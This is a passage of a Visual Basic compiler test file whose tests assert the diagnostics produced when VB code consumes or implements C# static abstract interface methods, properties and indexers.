Assert.Null(i1M1.ContainingType.FindImplementationForInterfaceMember(i1M1))
Dim c = comp1.GetMember(Of NamedTypeSymbol)("C")
Assert.Null(c.FindImplementationForInterfaceMember(i1M1))
End Sub
<Fact>
Public Sub ConsumeAbstractStaticMethod_01()
Dim csSource =
"
public interface I1
{
abstract static void M01();
void M03()
{
}
static void M04() {}
protected abstract static void M05();
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared Sub MT1(x As I1)
I1.M01()
x.M01()
I1.M04()
x.M04()
End Sub
Shared Sub MT2(Of T As I1)()
T.M01()
T.M03()
T.M04()
T.M00()
T.M05()
Dim x = CType(Sub() T.M01(), System.Linq.Expressions.Expression(Of System.Action))
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37314: A shared abstract interface member cannot be accessed.
I1.M01()
~~~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
x.M01()
~~~~~
BC37314: A shared abstract interface member cannot be accessed.
x.M01()
~~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
x.M04()
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.M01()
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.M03()
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.M04()
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.M00()
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.M05()
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
Dim x = CType(Sub() T.M01(), System.Linq.Expressions.Expression(Of System.Action))
~~~~~
</errors>
)
End Sub
<Fact>
Public Sub ConsumeAbstractStaticMethod_02()
Dim csSource =
"
public interface I1
{
abstract static void M01();
void M03()
{
}
static void M04() {}
protected abstract static void M05();
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared s As String
Shared Sub MT1(x As I1)
s = nameof(I1.M01)
s = nameof(x.M01)
s = nameof(I1.M04)
s = nameof(x.M04)
End Sub
Shared Sub MT2(Of T As I1)()
s = nameof(T.M01)
s = nameof(T.M03)
s = nameof(T.M04)
s = nameof(T.M00)
s = nameof(T.M05)
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC32098: Type parameters cannot be used as qualifiers.
s = nameof(T.M01)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
s = nameof(T.M03)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
s = nameof(T.M04)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
s = nameof(T.M00)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
s = nameof(T.M05)
~~~~~
</errors>
)
End Sub
<Fact>
Public Sub ConsumeAbstractStaticMethod_AddressOf_01()
Dim csSource =
"
public interface I1
{
abstract static void M01();
void M03()
{
}
static void M04() {}
protected abstract static void M05();
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared _d As System.Action
Shared Sub MT1(x As I1)
_d = AddressOf I1.M01
_d = AddressOf x.M01
_d = AddressOf I1.M04
_d = AddressOf x.M04
End Sub
Shared Sub MT2(Of T As I1)()
_d = AddressOf T.M01
_d = AddressOf T.M03
_d = AddressOf T.M04
_d = AddressOf T.M00
_d = AddressOf T.M05
Dim x = CType(Function() AddressOf T.M01, System.Linq.Expressions.Expression(Of System.Func(Of System.Action)))
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37314: A shared abstract interface member cannot be accessed.
_d = AddressOf I1.M01
~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
_d = AddressOf x.M01
~~~~~~~~~~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
_d = AddressOf x.M01
~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
_d = AddressOf x.M04
~~~~~~~~~~~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = AddressOf T.M01
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = AddressOf T.M03
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = AddressOf T.M04
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = AddressOf T.M00
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = AddressOf T.M05
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
Dim x = CType(Function() AddressOf T.M01, System.Linq.Expressions.Expression(Of System.Func(Of System.Action)))
~~~~~
</errors>
)
End Sub
<Fact>
Public Sub ConsumeAbstractStaticMethod_AddressOf_DirectCastToDelegate_01()
Dim csSource =
"
public interface I1
{
abstract static void M01();
void M03()
{
}
static void M04() {}
protected abstract static void M05();
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared _d As System.Action
Shared Sub MT1(x As I1)
_d = DirectCast(AddressOf I1.M01, System.Action)
_d = DirectCast(AddressOf x.M01, System.Action)
_d = DirectCast(AddressOf I1.M04, System.Action)
_d = DirectCast(AddressOf x.M04, System.Action)
End Sub
Shared Sub MT2(Of T As I1)()
_d = DirectCast(AddressOf T.M01, System.Action)
_d = DirectCast(AddressOf T.M03, System.Action)
_d = DirectCast(AddressOf T.M04, System.Action)
_d = DirectCast(AddressOf T.M00, System.Action)
_d = DirectCast(AddressOf T.M05, System.Action)
Dim x = CType(Function() DirectCast(AddressOf T.M01, System.Action), System.Linq.Expressions.Expression(Of System.Func(Of System.Action)))
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37314: A shared abstract interface member cannot be accessed.
_d = DirectCast(AddressOf I1.M01, System.Action)
~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
_d = DirectCast(AddressOf x.M01, System.Action)
~~~~~~~~~~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
_d = DirectCast(AddressOf x.M01, System.Action)
~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
_d = DirectCast(AddressOf x.M04, System.Action)
~~~~~~~~~~~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = DirectCast(AddressOf T.M01, System.Action)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = DirectCast(AddressOf T.M03, System.Action)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = DirectCast(AddressOf T.M04, System.Action)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = DirectCast(AddressOf T.M00, System.Action)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = DirectCast(AddressOf T.M05, System.Action)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
Dim x = CType(Function() DirectCast(AddressOf T.M01, System.Action), System.Linq.Expressions.Expression(Of System.Func(Of System.Action)))
~~~~~
</errors>
)
End Sub
<Fact>
Public Sub ConsumeAbstractStaticMethod_AddressOf_TryCastToDelegate_01()
Dim csSource =
"
public interface I1
{
abstract static void M01();
void M03()
{
}
static void M04() {}
protected abstract static void M05();
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared _d As System.Action
Shared Sub MT1(x As I1)
_d = TryCast(AddressOf I1.M01, System.Action)
_d = TryCast(AddressOf x.M01, System.Action)
_d = TryCast(AddressOf I1.M04, System.Action)
_d = TryCast(AddressOf x.M04, System.Action)
End Sub
Shared Sub MT2(Of T As I1)()
_d = TryCast(AddressOf T.M01, System.Action)
_d = TryCast(AddressOf T.M03, System.Action)
_d = TryCast(AddressOf T.M04, System.Action)
_d = TryCast(AddressOf T.M00, System.Action)
_d = TryCast(AddressOf T.M05, System.Action)
Dim x = CType(Function() TryCast(AddressOf T.M01, System.Action), System.Linq.Expressions.Expression(Of System.Func(Of System.Action)))
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37314: A shared abstract interface member cannot be accessed.
_d = TryCast(AddressOf I1.M01, System.Action)
~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
_d = TryCast(AddressOf x.M01, System.Action)
~~~~~~~~~~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
_d = TryCast(AddressOf x.M01, System.Action)
~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
_d = TryCast(AddressOf x.M04, System.Action)
~~~~~~~~~~~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = TryCast(AddressOf T.M01, System.Action)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = TryCast(AddressOf T.M03, System.Action)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = TryCast(AddressOf T.M04, System.Action)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = TryCast(AddressOf T.M00, System.Action)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = TryCast(AddressOf T.M05, System.Action)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
Dim x = CType(Function() TryCast(AddressOf T.M01, System.Action), System.Linq.Expressions.Expression(Of System.Func(Of System.Action)))
~~~~~
</errors>
)
End Sub
<Fact>
Public Sub ConsumeAbstractStaticMethod_AddressOf_CTypeToDelegate_01()
Dim csSource =
"
public interface I1
{
abstract static void M01();
void M03()
{
}
static void M04() {}
protected abstract static void M05();
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared _d As System.Action
Shared Sub MT1(x As I1)
_d = CType(AddressOf I1.M01, System.Action)
_d = CType(AddressOf x.M01, System.Action)
_d = CType(AddressOf I1.M04, System.Action)
_d = CType(AddressOf x.M04, System.Action)
End Sub
Shared Sub MT2(Of T As I1)()
_d = CType(AddressOf T.M01, System.Action)
_d = CType(AddressOf T.M03, System.Action)
_d = CType(AddressOf T.M04, System.Action)
_d = CType(AddressOf T.M00, System.Action)
_d = CType(AddressOf T.M05, System.Action)
Dim x = CType(Function() CType(AddressOf T.M01, System.Action), System.Linq.Expressions.Expression(Of System.Func(Of System.Action)))
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37314: A shared abstract interface member cannot be accessed.
_d = CType(AddressOf I1.M01, System.Action)
~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
_d = CType(AddressOf x.M01, System.Action)
~~~~~~~~~~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
_d = CType(AddressOf x.M01, System.Action)
~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
_d = CType(AddressOf x.M04, System.Action)
~~~~~~~~~~~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = CType(AddressOf T.M01, System.Action)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = CType(AddressOf T.M03, System.Action)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = CType(AddressOf T.M04, System.Action)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = CType(AddressOf T.M00, System.Action)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = CType(AddressOf T.M05, System.Action)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
Dim x = CType(Function() CType(AddressOf T.M01, System.Action), System.Linq.Expressions.Expression(Of System.Func(Of System.Action)))
~~~~~
</errors>
)
End Sub
<Fact>
Public Sub ConsumeAbstractStaticMethod_AddressOf_DelegateCreation_01()
Dim csSource =
"
public interface I1
{
abstract static void M01();
void M03()
{
}
static void M04() {}
protected abstract static void M05();
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared _d As System.Action
Shared Sub MT1(x As I1)
_d = New System.Action(AddressOf I1.M01)
_d = New System.Action(AddressOf x.M01)
_d = New System.Action(AddressOf I1.M04)
_d = New System.Action(AddressOf x.M04)
End Sub
Shared Sub MT2(Of T As I1)()
_d = New System.Action(AddressOf T.M01)
_d = New System.Action(AddressOf T.M03)
_d = New System.Action(AddressOf T.M04)
_d = New System.Action(AddressOf T.M00)
_d = New System.Action(AddressOf T.M05)
Dim x = CType(Function() New System.Action(AddressOf T.M01), System.Linq.Expressions.Expression(Of System.Func(Of System.Action)))
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37314: A shared abstract interface member cannot be accessed.
_d = New System.Action(AddressOf I1.M01)
~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
_d = New System.Action(AddressOf x.M01)
~~~~~~~~~~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
_d = New System.Action(AddressOf x.M01)
~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
_d = New System.Action(AddressOf x.M04)
~~~~~~~~~~~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = New System.Action(AddressOf T.M01)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = New System.Action(AddressOf T.M03)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = New System.Action(AddressOf T.M04)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = New System.Action(AddressOf T.M00)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_d = New System.Action(AddressOf T.M05)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
Dim x = CType(Function() New System.Action(AddressOf T.M01), System.Linq.Expressions.Expression(Of System.Func(Of System.Action)))
~~~~~
</errors>
)
End Sub
<Fact>
Public Sub DefineAbstractStaticProperty_01()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Interface I1
Shared Property P1 As Integer
End Interface
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework)
comp1.AssertTheseDiagnostics(
<errors>
BC30273: 'Shared' is not valid on an interface property declaration.
Shared Property P1 As Integer
~~~~~~
</errors>
)
Dim i1P1 = comp1.GetMember(Of PropertySymbol)("I1.P1")
Assert.False(i1P1.IsShared)
Assert.False(i1P1.GetMethod.IsShared)
Assert.False(i1P1.SetMethod.IsShared)
End Sub
<Fact>
Public Sub ImplementAbstractStaticProperty_01()
Dim csSource =
"
public interface I1
{
static abstract int P1 { get; set; }
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Public Class C
Implements I1
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37315: Class 'C' cannot implement interface 'I1' because it contains shared abstract 'Property P1 As Integer'.
Implements I1
~~
</errors>
)
Dim i1P1 = comp1.GetMember(Of PropertySymbol)("I1.P1")
Assert.Empty(i1P1.ExplicitInterfaceImplementations)
Assert.Null(i1P1.ContainingType.FindImplementationForInterfaceMember(i1P1))
Assert.Null(i1P1.ContainingType.FindImplementationForInterfaceMember(i1P1.GetMethod))
Assert.Null(i1P1.ContainingType.FindImplementationForInterfaceMember(i1P1.SetMethod))
Dim c = comp1.GetMember(Of NamedTypeSymbol)("C")
Assert.Null(c.FindImplementationForInterfaceMember(i1P1))
Assert.Null(c.FindImplementationForInterfaceMember(i1P1.GetMethod))
Assert.Null(c.FindImplementationForInterfaceMember(i1P1.SetMethod))
End Sub
<Fact>
Public Sub ImplementAbstractStaticProperty_02()
Dim csSource =
"
public interface I1
{
static abstract int P1 { get; set; }
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Public Class C
Implements I1
Property P1 As Integer Implements I1.P1
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37315: Class 'C' cannot implement interface 'I1' because it contains shared abstract 'Property P1 As Integer'.
Implements I1
~~
BC30401: 'P1' cannot implement 'P1' because there is no matching property on interface 'I1'.
Property P1 As Integer Implements I1.P1
~~~~~
</errors>
)
Dim i1P1 = comp1.GetMember(Of PropertySymbol)("I1.P1")
Assert.Empty(i1P1.ExplicitInterfaceImplementations)
Assert.Null(i1P1.ContainingType.FindImplementationForInterfaceMember(i1P1))
Assert.Null(i1P1.ContainingType.FindImplementationForInterfaceMember(i1P1.GetMethod))
Assert.Null(i1P1.ContainingType.FindImplementationForInterfaceMember(i1P1.SetMethod))
Dim c = comp1.GetMember(Of NamedTypeSymbol)("C")
Assert.Null(c.FindImplementationForInterfaceMember(i1P1))
Assert.Null(c.FindImplementationForInterfaceMember(i1P1.GetMethod))
Assert.Null(c.FindImplementationForInterfaceMember(i1P1.SetMethod))
End Sub
<Fact>
Public Sub ImplementAbstractStaticProperty_03()
Dim csSource =
"
public interface I1
{
static abstract int P1 { get; set; }
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Public Class C
Implements I1
Shared Property P1 As Integer Implements I1.P1
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37315: Class 'C' cannot implement interface 'I1' because it contains shared abstract 'Property P1 As Integer'.
Implements I1
~~
BC30505: Methods or events that implement interface members cannot be declared 'Shared'.
Shared Property P1 As Integer Implements I1.P1
~~~~~~
</errors>
)
Dim i1P1 = comp1.GetMember(Of PropertySymbol)("I1.P1")
Assert.Empty(i1P1.ExplicitInterfaceImplementations)
Assert.Null(i1P1.ContainingType.FindImplementationForInterfaceMember(i1P1))
Assert.Null(i1P1.ContainingType.FindImplementationForInterfaceMember(i1P1.GetMethod))
Assert.Null(i1P1.ContainingType.FindImplementationForInterfaceMember(i1P1.SetMethod))
Dim c = comp1.GetMember(Of NamedTypeSymbol)("C")
Assert.Null(c.FindImplementationForInterfaceMember(i1P1))
Assert.Null(c.FindImplementationForInterfaceMember(i1P1.GetMethod))
Assert.Null(c.FindImplementationForInterfaceMember(i1P1.SetMethod))
End Sub
<Fact>
Public Sub ConsumeAbstractStaticPropertyGet_01()
Dim csSource =
"
public interface I1
{
abstract static int P01 { get; set;}
static int P04 { get; set; }
protected abstract static int P05 { get; set; }
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared _i As Integer
Shared Sub MT1(x As I1)
_i = I1.P01
_i = x.P01
_i = I1.P04
_i = x.P04
End Sub
Shared Sub MT2(Of T As I1)()
_i = T.P01
_i = T.P03
_i = T.P04
_i = T.P00
_i = T.P05
Dim x = CType(Sub() T.P01.ToString(), System.Linq.Expressions.Expression(Of System.Action))
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37314: A shared abstract interface member cannot be accessed.
_i = I1.P01
~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
_i = x.P01
~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
_i = x.P01
~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
_i = x.P04
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_i = T.P01
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_i = T.P03
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_i = T.P04
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_i = T.P00
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_i = T.P05
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
Dim x = CType(Sub() T.P01.ToString(), System.Linq.Expressions.Expression(Of System.Action))
~~~~~
</errors>
)
End Sub
<Fact>
Public Sub ConsumeAbstractStaticPropertySet_01()
Dim csSource =
"
public interface I1
{
abstract static int P01 { get; set;}
static int P04 { get; set; }
protected abstract static int P05 { get; set; }
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared Sub MT1(x As I1)
I1.P01 = 1
x.P01 = 1
I1.P04 = 1
x.P04 = 1
End Sub
Shared Sub MT2(Of T As I1)()
T.P01 = 1
T.P03 = 1
T.P04 = 1
T.P00 = 1
T.P05 = 1
Dim x = CType(Sub() T.P01 = 1, System.Linq.Expressions.Expression(Of System.Action))
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37314: A shared abstract interface member cannot be accessed.
I1.P01 = 1
~~~~~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
x.P01 = 1
~~~~~
BC37314: A shared abstract interface member cannot be accessed.
x.P01 = 1
~~~~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
x.P04 = 1
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.P01 = 1
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.P03 = 1
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.P04 = 1
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.P00 = 1
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.P05 = 1
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
Dim x = CType(Sub() T.P01 = 1, System.Linq.Expressions.Expression(Of System.Action))
~~~~~
BC36534: Expression cannot be converted into an expression tree.
Dim x = CType(Sub() T.P01 = 1, System.Linq.Expressions.Expression(Of System.Action))
~~~~~~~~~
</errors>
)
End Sub
<Fact>
Public Sub ConsumeAbstractStaticPropertyCompound_01()
Dim csSource =
"
public interface I1
{
abstract static int P01 { get; set;}
static int P04 { get; set; }
protected abstract static int P05 { get; set; }
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared Sub MT1(x As I1)
I1.P01 += 1
x.P01 += 1
I1.P04 += 1
x.P04 += 1
End Sub
Shared Sub MT2(Of T As I1)()
T.P01 += 1
T.P03 += 1
T.P04 += 1
T.P00 += 1
T.P05 += 1
Dim x = CType(Sub() T.P01 += 1, System.Linq.Expressions.Expression(Of System.Action))
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37314: A shared abstract interface member cannot be accessed.
I1.P01 += 1
~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
I1.P01 += 1
~~~~~~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
x.P01 += 1
~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
x.P01 += 1
~~~~~
BC37314: A shared abstract interface member cannot be accessed.
x.P01 += 1
~~~~~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
x.P04 += 1
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.P01 += 1
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.P03 += 1
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.P04 += 1
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.P00 += 1
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.P05 += 1
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
Dim x = CType(Sub() T.P01 += 1, System.Linq.Expressions.Expression(Of System.Action))
~~~~~
BC36534: Expression cannot be converted into an expression tree.
Dim x = CType(Sub() T.P01 += 1, System.Linq.Expressions.Expression(Of System.Action))
~~~~~~~~~~
</errors>
)
End Sub
<Fact>
Public Sub ConsumeAbstractStaticProperty_02()
Dim csSource =
"
public interface I1
{
abstract static int P01 { get; set;}
static int P04 { get; set; }
protected abstract static int P05 { get; set; }
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared _s As String
Shared Sub MT1(x As I1)
_s = nameof(I1.P01)
_s = nameof(x.P01)
_s = nameof(I1.P04)
_s = nameof(x.P04)
End Sub
Shared Sub MT2(Of T As I1)()
_s = nameof(T.P01)
_s = nameof(T.P03)
_s = nameof(T.P04)
_s = nameof(T.P00)
_s = nameof(T.P05)
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC32098: Type parameters cannot be used as qualifiers.
_s = nameof(T.P01)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_s = nameof(T.P03)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_s = nameof(T.P04)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_s = nameof(T.P00)
~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_s = nameof(T.P05)
~~~~~
</errors>
)
End Sub
<Fact>
Public Sub ConsumeAbstractStaticIndexedProperty_03()
Dim ilSource =
"
.class interface public auto ansi abstract I1
{
.custom instance void [mscorlib]System.Reflection.DefaultMemberAttribute::.ctor(string) = (
01 00 04 49 74 65 6d 00 00
)
// Methods
.method public hidebysig specialname newslot abstract virtual
static int32 get_Item (
int32 x
) cil managed
{
} // end of method I1::get_Item
.method public hidebysig specialname newslot abstract virtual
static void set_Item (
int32 x,
int32 'value'
) cil managed
{
} // end of method I1::set_Item
// Properties
.property int32 Item(
int32 x
)
{
.get int32 I1::get_Item(int32)
.set void I1::set_Item(int32, int32)
}
} // end of class I1
"
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared _i As Integer
Shared _s As String
Shared Sub MT1(x As I1)
_i = I1.Item(0)
I1.Item(0) = 1
I1.Item(0) += 1
_i = x.Item(0)
x.Item(0) = 1
x.Item(0) += 1
_s = nameof(I1.Item)
_s = nameof(x.Item)
End Sub
Shared Sub MT2(Of T As I1)()
_i = T.Item(0)
T.Item(0) = 1
T.Item(0) += 1
_s = nameof(T.Item)
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={CreateReferenceFromIlCode(ilSource)})
comp1.AssertTheseDiagnostics(
<errors>
BC37314: A shared abstract interface member cannot be accessed.
_i = I1.Item(0)
~~~~~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
I1.Item(0) = 1
~~~~~~~~~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
I1.Item(0) += 1
~~~~~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
I1.Item(0) += 1
~~~~~~~~~~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
_i = x.Item(0)
~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
_i = x.Item(0)
~~~~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
x.Item(0) = 1
~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
x.Item(0) = 1
~~~~~~~~~~~~~
BC42025: Access of shared member, constant member, enum member or nested type through an instance; qualifying expression will not be evaluated.
x.Item(0) += 1
~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
x.Item(0) += 1
~~~~~~~~~
BC37314: A shared abstract interface member cannot be accessed.
x.Item(0) += 1
~~~~~~~~~~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_i = T.Item(0)
~~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.Item(0) = 1
~~~~~~
BC32098: Type parameters cannot be used as qualifiers.
T.Item(0) += 1
~~~~~~
BC32098: Type parameters cannot be used as qualifiers.
_s = nameof(T.Item)
~~~~~~
</errors>
)
Dim source2 =
<compilation>
<file name="c.vb"><![CDATA[
Class Test
Shared _i As Integer
Shared Sub MT1(x As I1)
_i = I1(0)
I1(0) = 1
I1(0) += 1
_i = x(0)
x(0) = 1
x(0) += 1
End Sub
Shared Sub MT2(Of T As I1)()
_i = T(0)
T(0) = 1
T(0) += 1
End Sub
End Class
]]></file>
</compilation>
Dim comp2 = CreateCompilation(source2, targetFramework:=_supportingFramework, references:={CreateReferenceFromIlCode(ilSource)})
comp2.AssertTheseDiagnostics(
<errors>
BC30111: 'I1' is an interface type and cannot be used as an expression.
_i = I1(0)
~~
